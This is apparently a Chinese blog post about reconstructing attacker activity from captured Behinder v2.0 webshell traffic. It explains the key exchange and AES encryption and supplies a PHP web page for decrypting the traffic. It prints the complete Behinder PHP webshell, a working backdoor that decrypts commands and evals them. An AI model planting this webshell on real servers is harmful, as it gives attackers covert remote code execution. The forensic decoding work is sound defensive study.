0x01前言
之前打3ctf的时候看见了一道冰蝎流量还原的misc,之后觉得还挺有意思的,毕竟之前网站被种过马 ,弄出来之后搞个工具结合全流量设备或者wireshark的包来还原攻击者到底做了哪些动作,故有了此文。
0x02环境准备
phpstudy(注意在php环境中要开一下php_openssl,默认好像是没开的)
冰蝎v2.0
0x03过程
首先贴一下一般用的冰蝎的PHP码:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>
加密过程:
第一次(GET)请求生成16位的秘钥,第二次(POST)用秘钥对发送和接收的内容进行base64加密、AES加密(AES-128-CBC,OPENSSL_ZERO_PADDING)。
解密过程:
先用AES解密,再用base64解密。
解密脚本如下(我这个做的是网页版的,界面很友好!如果想简化可以只要<?php>标签内的内容,记得把网页传参的变量改成普通变量):
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>PHP冰蝎解码</title>
</head>
<body>
<?php
error_reporting(0);
function aes_decrypt($data,$key){
return openssl_decrypt($data,'aes-128-cbc',$key,OPENSSL_ZERO_PADDING);
}
$text=$_POST['text'];
$key=$_POST['key'];
#'dMbFVmyUlb8MNJR1iwAN6n0CrkPTl/pfedppzkLxWWzQvkhWqXgA6UMbiqkE0LNg';
#'d59042be6e437849';
#{"status":"c3VjY2Vzcw==","msg":"cEBzc3cwcmQ="}
$s=aes_decrypt($text,$key);
preg_match_all("/\'(.*?)\'/", $s,$content);
$s1=str_replace("'", "", $content[0][0]);
?>
<h1>冰蝎-PHP 流量解码</h1>
<form action="" method="post">
<table >
<tr>
<td align="center">密钥</td>
<td><input type="text" name="key" maxlength="16" value="<?php if(!empty($key)){echo $key;}?>"></td>
</tr>
<tr>
<td align="center">密文</td>
<td><textarea name="text" style="height:100px;width:450px;" >
<?php if(!empty($text)){echo $text;}?>
</textarea> </td>
</tr>
<tr>
<td> <input type="submit" value="提交"></td>
</tr>
</table>
</form>
<?php
print "解密后流量:<br>";
print $s;
print "<br><br>base64解码:<br>";
//print $s1;
//print base64_decode($s1);改成htmlentities的了,感谢大佬指点!
print htmlentities(base64_decode($s1));
?>
</body>
</html><br>
实现之后的效果如下:
0x04写在最后
冰蝎码的流量加密确实为后渗透提供了极大的便利,不过以后可能更进一步隐藏16位AES秘钥或者其他方式进行加密,本文只针对v2.0这个版的进行了解密,毕竟技术还比较菜。等有时间把jsp版的也做了!立个flag 。